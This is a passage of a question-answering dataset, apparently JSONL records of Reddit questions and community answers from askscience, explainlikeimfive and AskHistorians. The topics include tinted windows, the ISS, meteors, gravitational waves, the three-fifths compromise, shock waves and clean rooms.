"http://www.uesp.net/wiki/Lore:Ancient_Tales_of_the_Dwemer"]]}
{"q_id": "6i9axg", "title": "why do businesses and government buildings use tinted windows but not houses and residences, where privacy would be a number one concern?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6i9axg/eli5_why_do_businesses_and_government_buildings/", "answers": {"a_id": ["dj4g7ep", "dj4g85u", "dj4gaxj", "dj4h3cs"], "score": [2, 3, 4, 2], "text": ["You can tint your windows if you want. At your expense. Just as the government tints their windows at their expense. Windows are usually installed as non-tinted because people want the sunlight in their houses, and because tinted glass is more expensive. ", "The windows on large buildings aren't tinted for privacy reasons, they're tinted to help with climate control.  It costs a lot of money to run the air conditioning in a giant office building  &  tinted windows help keep the sun from heating things up even more.\n\nPeople in homes want to be able to see *out* their windows so tinting would be unpopular.", "Businesses and government buildings use window tinting primarily for internal climate control, not privacy. Tinting helps reduce heat from the sun and costs for air conditioning. \n\nResidences can use tinting, as well, but tinted windows tend to turn off prospective home buyers so they're not commonly put on a home that's available for sale (or rent).  In high heat cities, such as San Diego or Phoenix, tinted windows on residences are seen all over. ", "commercial buildings tint windows mostly for climate control because their windows can't open, and reducing the amount of light entering cuts on need for A/C. Homes have opening windows for ventilation and more ability to fine tune climate controls."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2o1k8t", "title": "Why is the ISS (and why have other space stations been) built from a backbone on a single plane?", "selftext": "The ISS is a branching space station where all the modules come off a core module and backbone.  All the lab space is on the same plane (parallel to the Earths surface) or perpendicular to the plane.  In this configuration, when the ISS has to change orbital height, doesn't the use of thrusters put huge amounts of strain on the structure as moments are formed on module connectors?  I understand that it is easier to build like this, but wouldn't a polyhedron shape (repetitive regular pyramids for example) would be structurally more rigid?  Wouldn't polyhedron based structures also allow multiple routes in case any area becomes uninhabitable?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2o1k8t/why_is_the_iss_and_why_have_other_space_stations/", "answers": {"a_id": ["cmivrmm", "cmivu2e", "cmj1xx0", "cmj8eqr"], "score": [14, 46, 5, 3], "text": ["The ISS doesn't experience much force. During orbital boost burns, [average acceleration is about 0.02m/s^2](_URL_0_), over 500 times less than the force of gravity on the earth's surface.", "I would assume that things on the ISS generally look like Russian or US \"rocket-top\" or \"space shuttle bay\" shaped things glued together.  Anything the reduces the number of missions flown and brings the most (best crammed together) payload up is preferable to a bunch of smaller missions to bring oddly shaped items up.\n\nSecondly, lining up massive structures in space so they attach at one spot is hard enough.  Attaching them at multiple spots increases the number of EVAs, the time astronauts spend on such processes and the number of extra things that can go wrong.  Having two module connectors means having 2 points where things can go wrong and depressurize the station.  Sometimes, you need to consider the cost of redundancy before adding it in.\n\nDuring the ISS assembly, I remember reading about how the shuttle launches had to be very very carefully timed so that they could remain docked at the station during periods when the station wasn't getting too much sunlight.  Otherwise, the shuttle would cook itself due to the heat.  At the same time, not all the solar panels were brought up at the same time and there were a couple of occasions where the power budget was quite tight (especially when solar cells get damaged or when the tracking motors break down).  Designing a closed pyramidal structure reduces the amount of area you have to maneuver and tilt your solar cells.  Also reduces the places you can dock shuttles, mount escape/re-entry vehicles, expand the station with more modules/solar cells etc.\n\nAnd all for...  the comparatively light load of station keeping?  Sure, the moments are higher but the thrusts involved are tiny.  Think about it this way:  Have you seen cantilevered bridges and structures on earth of that size?  They handle 1g of acceleration continuously.  The ISS station keeping operations don't even come close to that.", "The shape also has to do with attitude stability.  Certain moment-of-inertia/attitude combinations cause the vehicle to not stay oriented as you want it to.  This is important for being able to keep the solar arrays pointed at the sun.", "A polyhedron would have more connections between modules. This is bad in terms of weight/space and also safety. Each port takes away usable space on the surface of the module and adds a lot of weight since the the joint has to be structurally sound and also environmentally sound. A docking port is a lot heavier than a simple wall. While more docking ports give more exits it also gives more points of failure.\n\nAs others have said the loading from station keeping is very small compared to most other design concerns."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blogs.discovermagazine.com/badastronomy/2011/11/10/space-station-gives-physics-a-boost/#.VH3Sg491PFY"], [], [], []]}
{"q_id": "15guoa", "title": "How close could a meteor pass to the surface of earth with no collision?", "selftext": "And in the same vein, how fast would a meteor need to travel to pass through the earth's atmosphere without colliding? And how much of an effect would height have at these speeds?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15guoa/how_close_could_a_meteor_pass_to_the_surface_of/", "answers": {"a_id": ["c7mbh1y", "c7mbm1c", "c7mchjz", "c7mdox1", "c7mdp68", "c7metj1", "c7mfa7k"], "score": [60, 8, 45, 2, 2, 3, 13], "text": ["That depends on how fast it is travelling. If the meteor is travelling fast enough it can come as close as it wants, however the closer it comes to the surface the faster it must travel to avoid gravity pulling it to the surface (as gravity is stronger at the surface). It can then leave the atmosphere, a manoeuvre known as the slingshot effect which is used by spacecraft to increase their velocity. \nHowever, this is purely theoretical and based on mathematics. In reality if the meteor was to enter the atmosphere, after a certain point the extreme friction with air particles would cause it to burn up.   ", "First, a \"meteor\" is the visible part of a meteoroid as it enters the atmosphere, not the object itself.  But that's just nitpicking.\n\nAs KillerAlienVagina said, there really is no limit to how close it can pass.  If the object is dense enough to survive the atmospheric heating, and moving fast enough to retain enough energy to leave the Earth's atmosphere, then it could swoop down, blow up a bunch of windows, and leave.  It'll have lost a huge amount of energy in doing so, but it's certainly possible.\n\nHowever, there are reasonable limits to how fast naturally occurring meteoroids move.  This is mainly based on the escape velocity of the largest gravity well in our solar system, the Sun.  However, it's not impossible for some rogue body to just so happen to pass through our planet's atmosphere.  It's just very unlikely.", "I'm surprised no one has mentioned this yet:\n\n_URL_0_", "hypothetically if the earth had no atmosphere, had flat terrain, and the speed of the asteroid were faster than the escape velocity of the earth the asteroid could come withing feet of the earths surface and just slingshot around... the same with the moon...since there is no atmosphere to slow you down or to cause major heat problems the astronauts in the lunar lander could have gone into orbit around the moon just a couple of hundred feet above surface", "Well meteor's start burning up in the atmosphere at around 65km from the surface, so much lower than that, the speed needed to counter gravity would probably cause too much friction.", "what would happen if something the size of texas came through the atmosphere and missed the actual ground by like 1000 feet lets say?  would it burn everything up?  By the sounds of it the thing would have to being pretty fast to not hit what be the effects of this?", "People have been saying there is no limit, which is actually false. The limit is known as the rouche limit, it is the limit where a celestial body is overcome by tidal forces. This limit is a far distance for most objects. As an example, the moon would not be able to travel within roughly 9,200 KM, rouche limit does depend on tensile strength, speed and distance to another celestial body.\n\nRoche limit would mean that in the moon passed within 9,000 KM it would break apart being pulled towards the Earth but this DOESN'T mean it's the limit of hitting the Earth for the moon. This will break apart and most likely form a stable ring system around Earth, however the roche limit is to demonstrate a rigid body can not stay rigid within the vicinity of a larger body.\n\nTaking that into account, if the moon traveled within 6,000 km the majority of the Moon would fall towards Earth.\n\nWith that being said, for an asteroid the roche limit is much much small, in some cases if the asteroid is small enough, and traveling at such a speed it could travel as close to Earth as possible, even dragging along the ground but this is due to the roche limit for the asteroid is actually within the Earth itself.\n\nThis doesn't take into account the atmosphere but food for thought there is an limit known as the roche limit but that doesn't take into account atmospheres.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Great_Daylight_1972_Fireball"], [], [], [], ["http://en.wikipedia.org/wiki/Roche_limit"]]}
{"q_id": "4o8y5y", "title": "Does space-time have an equivalent to \"viscosity\" that affects the propagation of gravitational waves?", "selftext": "I listened to a podcast this morning on the \"Sonification\" of data. The podcast discussed the techniques to convert the LIGO gravitational wave detector data into sound which the research team used in their analyses. The podcast drew a lot of parallels between gravitational waves and sounds waves, prompting the thought that sound wave propagation and attenuation through a medium is affected by things like the density and viscosity of the medium. Are there equivalents to the properties for space-time -ie some property of space-time that we can derive based on how much the gravitational wave has attenuated over distance traveled?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4o8y5y/does_spacetime_have_an_equivalent_to_viscosity/", "answers": {"a_id": ["d4ak9tk", "d4aol1v", "d4b6go5", "d4b9mp0"], "score": [14, 36, 3, 2], "text": ["No. Gravitational waves in vacuum have no dispersion, attenuation or distortion, just like EM waves.", "As /u/rantonels says, general relativity predicts no attenuation other than the goemetrical spreading out of the wave, and it's true that the waveforms obtained by the detectors do provide good evidence that general relativity is correct even in the strong gravitational field regime.\n\nBut as to your specific question: the detections themselves can't show us that there is nothing in space that produces \"extra\" attenuation, as the detections do not give a direct measurement of the attenuation.  Rather, one assumes GR, uses that to determine the kind of black hole merger, gets a value for the amplitude at the source, sees what amplitude we have here, and determines a distance to source from that.  So if there *were* for some crazy reason some additional effect attenuating the wave, the announced measurements would have no way of determining that.\n\nIf we get an event from, say, a neutron star merger for which we have an independent determination of the distance to the source, then we would be in a position to make an absolute measurement of the attenuation.", "Maybe reaching for another analogue, but is there some space-time analogue to the [bulk modulus](_URL_0_) of a isentropic compressible gas? It would have to have some strange units, change in energy per unit space-time perhaps. If so, might it relate to the wave speed (the speed of light)?\n\nI'm an engineer and work with fluids, and am curious to map space-time and gravity waves to something that I can visualize. I've seen the rubber sheet model but it doesn't really clarify matters all that much for me.\n", "As I understood it gravity waves wouldn't attenuate but may interact with other gravity waves to form some kind of background \"noise.\". Then again, thinking about that statement makes me question what I was thinking when I heard it.  One thing I think makes perfect sense though is the distortion due to medium.  A wave traveling through a deeper gravity well would change shape  as it progresses (think divots on a golf ball) as parts of the wave (basically a sphericle ripple) would be impeded momentarily (covering a differing distance in space due to the change in space-time density). \n\nThat analogy assumes only one barrier/hurdle impeding the regular expansion of the wave but one can imagine the complexity of the wave's mutations would be nearly infinite considering the number of massive objects in existence, the masking of a single wave by countless other waves (isn't the idea effectively that any movement of a sufficiently massive object, where mass  >  0  creates these waves).  I mean, the real reason I've liked the analogy of sound waves in fluids (like air and water) is because it is a pressure (density distortion) and as such has a \"speed limit.\"  \n\nWhile we have found a way to break the \"sound barrier\" and travel faster than the sound wave created by the object passing through the air it kind of reinforces the \"speed limit\" idea for travelling through space-time.  Now, I'm not up on the particle physics so Google will likely tell me after I type this but photons are essentially 0 mass, no?  Meaning they have no mass to drag through space time as they go.  Meanwhile, a hydrogen nucleus approaching light speed, becomes harder and harder to accelerate through space-time even in a vacuum. Wouldn't this be where we break out the example of the fighter jet experiencing exponential drag as it tries to push the air out of the way faster than it can rush back in behind it? \n\nEssentially, the nucleus could continue its asymptotic approach of light speed indefinitely, but because it's gravity well will never lag behind because, like dragging a sharp pair of scissors through our rubber sheet analogy,  where the point is that cone of gravitational waves: the faster you push the object (nucleus, person, planet, black hole, etc) the deeper it digs into the sheet and now the more space-time it is \"displacing\" (warping), or as the equations predict: the atom acts like a more and more massive object, displacing more and more space-time.  Essentially, wouldn't this lead to a larger magnitude gravity wave?  (I'm seriously asking.)  \n\nAlso, merely speculating here because I'm a poor excuse for a physicist (I conceptualize, I don't do the higher math), what would this background noise of gravitational waves mean for universal expansion?  Does anyone else see the compounding of waves maybe fueling some of the expansion we're seeing?  Assuming a finite universe and the wave's are unable to reflect once the reach the edge of space-time wouldn't the edge tend to expand just a bit?  It's hard to visualise, but if g waves are a space-time compression wave, the compression is followed by a lower density component (peak and trough) which would stretch the edge little by little a bit like pizza dough.  Unless, I have that the wrong way around, in which case this is complete lunacy.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Bulk_modulus"], []]}
{"q_id": "31k6qr", "title": "why were black people considered 3/5 of a person? obviously they didn't want blacks to be a \"full person\". but 3/5 just sounds like such an random number.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31k6qr/eli5_why_were_black_people_considered_35_of_a/", "answers": {"a_id": ["cq2b5eh", "cq2htbz", "cq2k8p1"], "score": [89, 8, 2], "text": ["It's important to note at the beginning that the \"3/5ths compromise\" came up in a debate about voting.  \n\nThe Slave states wanted slaves to count as whole \"people\" for the purposes of voting.  This would mean they'd have more representatives and have more influence in presidential elections, because they'd be counting the slaves, who wouldn't be able to vote but would still \"count.\"  The non-slave states didn't want slaves to count at all.\n\nThat's why three fifths was arbitrary. It wasn't mean to capture the role of the slaves in society or how much they counted for in law. It was the amount that the non-slave states could live with and the slave states could accept when it came to political representation. ", "At the constitutional convention, the slave states wanted:\n\n1. That the full number of a state's slave population should count for determining how many seats a state got in the House.\n2. That the number of a state's slave population should **not** count for determining how much taxes the states should pay to the federal government.\n\nThe northern states opposed this, but they really wanted to get the Constitution approved.  So in the end, this is what everybody agreed on:\n\n >  Representatives and direct Taxes shall be apportioned among the several States which may be included within this Union, according to their respective Numbers, which shall be determined by adding to the whole Number of free Persons, including those bound to Service for a Term of Years, and excluding Indians not taxed, three fifths of all other Persons.\n\nSo basically, the South got more political representation than they deserved, at the cost of paying more taxes than they wanted to.  It worked pretty well, except for the fact that millions of people were enslaved, killed and/or oppressed.", "Because it meant that black people were 3/5 of a person that counted towards congressional representatives. That number was chosen because it roughly balanced voting power in north and south states. At least in the house. And the north and south were already equally balanced in the senate. So congress as a whole became equally balanced north-south."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9o1954", "title": "Can shock waves from a major explosion exit the earth\u2019s atmosphere? If so, what happens to them in vacuum?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9o1954/can_shock_waves_from_a_major_explosion_exit_the/", "answers": {"a_id": ["e7qqypv", "e7r2gsw", "e7ru66r", "e7rvl60", "e7rxcxg", "e7rz7x6", "e7s1z0n"], "score": [15, 812, 5, 6, 16, 2, 3], "text": ["An explosion is a chain reaction of ignition which creates more energy than safely dissipates into the surroundings. The initial reaction compresses the particles around it, and those particles react, ignoring, and this continues until am the fuel is used up. The shock wave is the left over energy not released as heat and light. Energy can be radiation, like the sun or transmission, through a medium. So a shockwave is matter which is pushed from behind really fast. \n\nA shock wave requires particles to collide,  transferring energy so rapidly, the energy continues until it dissipates through the square/ cube law. The shockwave moves outwards rubbing the air molecules together ( nitrogen,  oxygen, methane etc). The rubbing releases energy bit by bit. As the shockwaves moves upwards, the number of air molecules decreases. The particles moving upwards have fewer particles to crash into. The shock wave becomes a hail of energised particles. If you are large enough (plane) you might feel a push from a large enough cloud of molecules transferring their energy into your aircraft. ", "A shockwave needs a medium. An explosion can impart enough energy to nearby air to push it out of the atmosphere, but at that point it's not really a shockwave, just ejected gas. The energy is no longer being carried between particles, but is simply carrying one particle through space. A planet can actually completely lose its atmosphere through repeated event like this, and it's believed that happened to Earth during the Late Heavy Bombardment, about 4 billion years ago.\n\n & #x200B;\n\nAll that said, the space around Earth is not a perfect vacuum, and so some of the ejected gas will impact other particles, scattering the energy outwards as in a shockwave. But for anything less than a literally Earth-shattering explosion the energy will quickly become so spread out that its effect on the interplanetary medium will become negligible.\n\n & #x200B;\n\nBut a supernova--the death of a large star--is so stupendously powerful that it does create a shockwave even through the very thin interstellar medium, and we can detect \"bubbles\" of lower density gas that have been cleared out by these explosions. So even though we like to say there's no sound in space, with a sufficiently large and sensitive receiver you could, in theory, pick up the sound of a supernova even from hundreds of light-years away.", "A sufficiently large nuclear weapon detonated in the atmosphere could, in theory, create a bubble that would spike up above the average height of the atmosphere for a few seconds, but it would flatten back out fairly quickly.\n\nThe top of the atmosphere is a bit like the ocean in many ways, full of waves and uneven heights that shift and move around. A really really big explosion would be just another big \"wave\" that would settle back to the normal winds and pressure zones. The explosion can't perpetuate into space at any level worth detecting, it would be measured in single molecules once it passes [roughly] the height of the space station and would likely not even reach the orbit of the Moon.\n\nAll that said, you would NOT want to be hanging out anywhere within a few hundred miles of such an explosion. It would be a very bad day for everyone on the ground!", "Nothing much would happen because a shock wave is a large amount of energy traveling through matter and since a vacume has no matter by definition the energy would not go through but instead bounce around the atmosphere excluding the material flung outward by the explosion (which would behave like a bomb being exploded underwater because air is a fluid) would mostly fall back down to earth. Some debris would escape the earth and be flung into space. \nI hope this answers you question.\nHave a nice day", "I think you are asking what happens to vertically traveling shock waves as they propagate upward. Waves interacting with the upper atmosphere is a very important part of the over atmospheres energy balance, but a shockwave is a special case. At very low pressures the gas molecules are spread out enough that collisions are no longer dominating movement and other forces start to become important.\n\nThe bottom line is shockwaves, do not last long as more molecules go zipping past their neighbors and disperse their energy elsewhere. The upper atmosphere is where density driven waves go to die as the coherent fluid propagation of mechanical collision decays into the random motion of temperature.", "A shock wave reaching a medium of lower impedance, in this case an extended density gradient, reflects as an expansion wave.\n\n & #x200B;\n\nIn the case of a shock at a gas/vacuum interface, it would cause an ejection of gas into the vacuum. Which is precisely what happens when cosmic things \"explode\".\n\n & #x200B;\n\nThere are such things as shock waves in \"space\" although these propagate at the large scale through rarefied stellar media.", "I imagine it would be similar to what it looks like when you set off an explosive under water.  If the explosion is strong enough it can burst outwards and send water flying.  In the case of the Earth's atmosphere, it would be spitting out air.   The air is mostly transparent so we probably wouldn't see much.  You could theoretically send the air particles fast enough that they would shoot off into space, but they would need to reach escape velocity (which is very fast).\n\n & #x200B;\n\nI imagine that if you could see the air (or color it somehow) it would look similar to those solar eruption videos.  With a bubble of \"material\" shooting off, before gravity pulls it back. [_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://i.imgur.com/44cYg.gif"]]}
{"q_id": "h1fqm", "title": "Altering half-life?", "selftext": "I was reading about positron emission (B+) and of course these atoms can also decay by beta capture.  I then noticed that atoms such as beryllium-7 are not energetic enough to create a positron-electron pair and hence can only decay through beta capture, and if it is a cosmic ray with no electrons around it is stable since there are no decay paths available.\n\nThis got me thinking about the reverse scenario.  Could positron capture substitute beta (B-) decay.  Now obviously you would have to overcome the Coulomb force of the positive nucleus with the positron.\n\nSo, my questions are:\n1)  Could you take an element which will undergo beta decay (such as Cesium-137) and electromagnetically confine it with positrons in a high energy plasma such that a second decay path is opened and possibly reduce the half-life of the element?\n\n2)  Could elements which are considered stable be given a decay path like in question 1 such that they could decay via this unlocked path?\n\nIf positron capture can't be substituted in an analogous way to electron capture, then why not?  For instance does this have something to do with the energies required to overcome the coulomb forces?\n\nAnyways, I would like to thank you in advance for any insight you may bring.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h1fqm/altering_halflife/", "answers": {"a_id": ["c1rvnmv"], "score": [5], "text": ["positron capture should, in principle, work. But I don't know if you could just bathe the nuclei in a sea of positrons. (they may have other unforeseen consequences?)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4kv4ja", "title": "If it is recommended to pasteurize fresh squeezed juice, why can I eat the fruit as-is without the same concern for bacteria?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4kv4ja/if_it_is_recommended_to_pasteurize_fresh_squeezed/", "answers": {"a_id": ["d3ilfbj"], "score": [10], "text": ["Because fruit is covered in a layer (skin) that keeps bacteria away from the nutrients on the inside. Once you squeeze the nutrients out, bacteria from the air (as well as any that were on the fruit) have access to the nutrients and will grow rapidly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "32aq4n", "title": "How is a clean room, such as a room that prepares semiconductor chips, made clean?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/32aq4n/how_is_a_clean_room_such_as_a_room_that_prepares/", "answers": {"a_id": ["cq9jiek", "cq9oqc7", "cq9pzc1", "cq9q411", "cq9qgqa", "cq9r739", "cq9sckw", "cq9tccb", "cq9tqz5", "cq9ug1k", "cq9upul", "cq9vjo6", "cqa0t2a"], "score": [873, 177, 29, 7, 2, 63, 8, 4, 3, 14, 3, 13, 5], "text": ["* Air filters similar to the HEPA filters for home use\n* carefully designed air flow both in the room and between the room and the outside\n* carefully designed furniture both in shape and materials to create less particulate \n* protocols for what you can wear, how to enter and exit the room, and how to act in the room\n* protocols for interacting with the objects which are required to be in the clean rooms\n* protocols for transport in/out/around of protected objects\n* knowledge of how and why objects need to be clean\n* particle counters for precise knowledge of just how clean the air is\n", "Correct me if I'm wrong, but I think the question was more how those places get so clean in the first place.\n\nKind of like I always used to wonder how the first sterile nurse of the day put on her apron thingy (the doctors and all subsequent assistants are all helped by that one person). The answer to that, in case anyone is wondering, is surprisingly simple: they only touch the inside of the apron until they have sterile gloves on.", "Hah finally something I can contribute to!\n\nI used to work in a clean room that was being constructed for Global Foundries and the answer is rather simple. You clean them. A LOT. While under constructions there constantly were several cleaning Teams in the ground, constantly mopping the floor, and wiping EVERYTHING off with some kind of white, static cloth. The higher up people would then go through the Hall and use some Kind of Sensor to measure the number of particles in the air. \n\nHope that helped;)\n", "Clean rooms also often use laminar air flow; air flowing in layers, usually downward. There will be extensively filtered air coming in from the ceiling for example, with exhaust picking up the used air along the walls down low. This helps ensure fresh, clean air up high, forcing the airborne contaminants down low, away from the sensitive work :)", "I've heard highly reactive chemicals such as chlorine trifluoride are used in some circumstances in the industry it is mentioned in its wiki page _URL_1_ and was even talked about in the beginning of a scishow episode which talks about the top 5 most dangerous chemicals of all things...\n- Scishow episode link _URL_0_  ", "I currently work in a cleanroom, so I can actually contribute to this!\n\nAs others have mentioned, a big part of keeping the area clean is the sophisticated air filtration system.  Depending on the level of cleanliness desired (some research facilities are less strict on rules than production environments), you may also need to pass through an [air shower](_URL_0_) to clean off any particulates.\n\nOther measures taken include:\n\n* Wearing a [bunny suit](_URL_2_).  This will include a hood, hair net, beard guard, boots, and latex/nitrile gloves\n* You can't touch your face.  Shaking hands is also frowned upon (fist bumps are the normal greeting method).  Also, they can ask you to leave if you are sneezing/coughing a lot.\n* No food or drink, even gum or mints, of any kind in the cleanroom.\n* Anything brought into the cleanroom needs to be wiped down with Isopropyl alcohol (laptops, bags, phones, safety glasses, etc.).  Most people have [these](_URL_3_) since they're easily cleaned.  As a bonus, if you're going to an NFL game you can use it for that too.\n* Regular vacuuming/wet mopping of the floors\n* We run FM (foreign material) checks on the tools every couple days.  The amount of time in between checks and the acceptable amount of particles per wafer depend on the type of tool and the process the tool is running.\n* If there are a lot of particles (usually  > 1000 per 300mm diameter wafer) that persist for multiple checks, the tool and chamber can also be opened and wiped down with IPA.\n\n[This site](_URL_1_) has a pretty good rundown of strict cleanroom protocol.  If you have any other questions about cleanrooms in general, ask away.", "I work in a clean room,  they are constantly being cleaned all the time. There are special wipes that leave very few particles, vacuums with crazy filters and the floors is always being cleaned with special swifers. The gowning procedure to get into the clean involves wiping down things you need to bring in, wearing full suites and masks to cover your mouth. Also like people have said there is constant air flow and filters I  the floor and ceiling cleaning the air. One thing I have not seen mentioned is that all the tools in the clean room create positive pressure so the actual air in the clean room does not enter the tools, they all have their own mini environment. ", "HVAC reliability engineer in IC foundry, studied micro-nano tech in undergrad.\n\nFiltration of outside air (needed to maintain positive pressure, pushing particulate out) and recirculating air (already clean pretty clean, why waste energy). 30% > 95% > HEPA > ULPA. Laminar (somewhat) airflow. And in IC most wafers are kept in enclosed pods, the air in which is further filtered.", "I've been to IMEC, Leuven, Belgium, where they build the prototype Intel chips (they told me). We've seen a lot and have been explained a lot. I haven't been into the clean room itself, because only trained personnel was allowed in, although we did see the clean room behind glass.\n\nI don't remember everything exactly as it was, it's been two years.\n\nWe all had to wear nets over our shoes to prevent dirt coming into the buildings. We have been into the changing room, where they explained some procedures the workers had to follow. There were benches, on which they sat down, took out their shoes (with those nets), turned to the other side of the bench, and put on their working (clean) shoes.\nThen they could go ahead and take their working clothes out of the closet and wear them. Probably here was such a special procedure too.\nThen they went into a transit zone, where they were 'washed' with several types of air (dry air, cold air, ...) in several stages. Afterwards they were allowed to enter the clean room. FYI: that clean room was huge and they were building a bigger one.\n\nIn the room, there was a constant air conditioning at a certain temperature, using dry, cleaned air at that temperature that fell from above (the ceiling had holes), cooling the air below. The 'dirty' air was sucked out from below.\n\nA little off topic, but nevertheless interesting: the building is built on piles that were stuck in the ground deep enough so the building wouldn't feel trembling caused by trucks driving by and other things that shake a little, but only the machines stand on top of those piles. The workers were on a floor that was connected to the normal ground, so if they'd move, they didn't shake the machines. You know, having a wafer jump 20 nanometers means you should start over again.", "For Semiconductor Manufacturing in particular, Copper is one of the biggest dangers.\n\nCopper molecules making contact with semiconductor material will \"dope\" a platter of silicon, ruining the silicon. \n\nAt Intel, they have a tool policy that states any tool that has come into contact with anything containing copper cannot be brought into the clear room workspace.  Engineers and technicians that have to work in the space basically need to keep 2 sets of tools, marked \"copper\" and \"non-copper\".\n\nAbout 6 years ago, Intel had an incident where a stamping machine had been worked on by a technician with tools that had been used outside the clean room. The machine created several million dollars worth of bad chips before the problem was tracked down. It resulted in subsequent machines being scrapped. The whole thing caused a manufacturing line to be shut down for months while every surface and machine were cleaned.\n\nIntel takes this VERY seriously. They have a 2-day training for all temporary and contract employees doing work on the campus. ", "Surprised after 12hrs no one has mentioned ionizers in tandem with the laminar flow. You install a couple of those in your room and everything falls to the floor, you'd be surprised how much a plastic bag has stuck to it when it's brought into a clean room.", "We used to do about 5-10 iPad repairs a day, and while FAR from a real clean room, we certainly lowered the amount of debris floating around. When you repair an iPad professionally there can't even be a spec under the replacement digitizer, so to cut down on dust to speed up screen replacements we put multiple large HEPA air filters above the workspace, no carpet, non-porous materials only, vacuumed three times a day, and no dirty things allowed in there at all. Everything had to be blown out with a compressor and wiped down first. We honestly had the highest standard of quality for iPad and phone repair that I've known of in this city, and thus the best reputation. Thanks in part to our \"cleaner room\" because it's not totally clean, just cleaner than the rest of the building.\n\nedit: Why is this downvoted? I'm trying to learn from my mistakes so I ask. My logic is this is a discussion about clean rooms, and my point is simply that by being conscious of materials and air we dramatically decreased the amount of debris we had to deal with during repairs. And like I said, it wasn't like a clean room for hard drive repair, that should be massively obvious to everyone, but it was so much cleaner than the rest of the shop that it improved productivity as less time was spent spraying canned and compressed air.", "I certify said clean rooms for a living. It's simpler than you think.\n1. The air entering the room (supply air) is filtered through HEPA filters (usually 99.99% efficient at filtering out the most penetrating particle size at 0.3 microns). \n2. The airflow must be uniform,  with little to no turbulence. HEPA filters are on the ceiling to blanket the room in clean air, and the returns are near the floor to pull the dirty air back out. One uniform direction. The air can either be recirculated or completely exhausted out the building. \n3. Air locks. Designated rooms to isolate the particles generated from gowning or degowning from the main clean room. \n4. Lastly but MOST importantly is staff training. Special protocols for putting specialty garb on, and taking it off. Direction of movement between rooms. Cleaning regimens.  Protocol on what you can and can't touch. This part is almost endless, and there are entire careers dedicated to minimalizing human errors in clean room environments. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=ckSoDW2-wrc", "http://en.wikipedia.org/wiki/Chlorine_trifluoride"], ["http://www.cleanairproducts.com/product-category/air-showers/", "http://www.cemag.us/articles/2007/11/basic-cleanroom-protocol", "http://www.smtnet.com/media/images/Cleanroom%20Bunny%20Suit.JPG", "http://www.myclearbackpack.com/Home_Page.php"], [], [], [], [], [], [], []]}
{"q_id": "1bt8gx", "title": "On aboriginal religion", "selftext": "Hey r/askhistorians! I'm new here but I'm sure this is the right place to come!\n\nI live in Saskatchewan, Canada, and I attended a Round Dance a week or so ago. During the ceremony a prayer to Jesus was said. It struck me as odd (I thought that at a religious ceremony such as a Round Dance would praise the Creator). A week later, I was at an 'Intro to Powwow' event where the host described one dance that praised the Creator. I'm writing a reflexive essay on my experience, and I would like to include this contrast but I'm not exactly sure how to write it without proper knowledge of the subject.\n\nMy question is: How has First Nations religion changed from the Creator to more Christian? Was it the evangelical Christians that first colonized? Residential schools? Or does Jesus = the Creator in modern FN religion? \n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bt8gx/on_aboriginal_religion/", "answers": {"a_id": ["c99up8w", "c9a0f49"], "score": [4, 8], "text": ["Depends on who they interacted with, the Spanish started setting up missions in the 1500's in southern North America and South America.\n\nThe puritans in the northern region of the east coast did the same thing in the 1620's to an extent to the Indian tribes near them.\n\nEmigrants in the 1800's, but starting mostly around 1830's on had a lot of exposure from missions set up along the St. Joseph's Trail. Narcissus and Marcus Whitman are the most noteable example as they were the earliest we have primary sources on.\n\nThat far north though, they probably got converted by Jesuit French. The French tended to get along pretty well with the Indiginous people, they didn't enslave them like the Spanish, or displace them like the English, they were good for trading and wanted to trade and trap furs, which the continent had in abundance while they were willing to trade muskets and such which the native people's wanted.\n\nIn many cases you'll find integration of Christian symbols and ideas into their own. This isn't exactly my area, but I have a text books somewhere that has a few good examples of this.\n\nThe basic premise was that their religions were non-exclusive, whereas the Christian religions tend to view worship of any other diety as reprehensibe paganism. So the two clashed. So that is likely where this is rooted. It also depends on who was colonizing where, the catholic Spanish supposedly were very intolerant of this kind of ambivalence, whereas the French were less so for reasons of diplomacy as they weren't seeking conquest.\nLater in history (late 1800's into the 1900's) we trired to civilze them with boarding school education, the idea being to separate them from from language and beliefs. I do not know much of that was done so far north in canada, however some was done here in alaska so its possible.\n\nThat is all the information I have on the subject.", "Hi! What  great questions, i'm glad you've been thinking about this question and the role of colonial religious/spiritual systems in Indigenous communities. My history degree specialised in Indigenous histories (particularly First Nations, Metis, and Inuit (FNMI) groups in Canada), so the role of religion has been a large part of pre-contact and post-contact Indigenous histories.  The short, general answer to your questions would be that there is a spectrum of conversion within Indigenous spiritual and religious beliefs (as there are in non-Indigenous populations). There are Indigenous people who have fully converted or have always been a follower of a certain Christian faith, those that have personalised their spiritual beliefs by incorporating elements of Christianity into traditional spiritual beliefs, and those who are followers of specific traditional Indigenous spiritual beliefs/religions (specific as in specific to their family, community, national history, etc.). \n\nIn regards to your first question, it would be incorrect to say that all FNMI peoples have moved away from specific Indigenous cultural spirituality to various Christian sects. Many Indigenous peoples throughout Canada (and the world for that matter) maintain 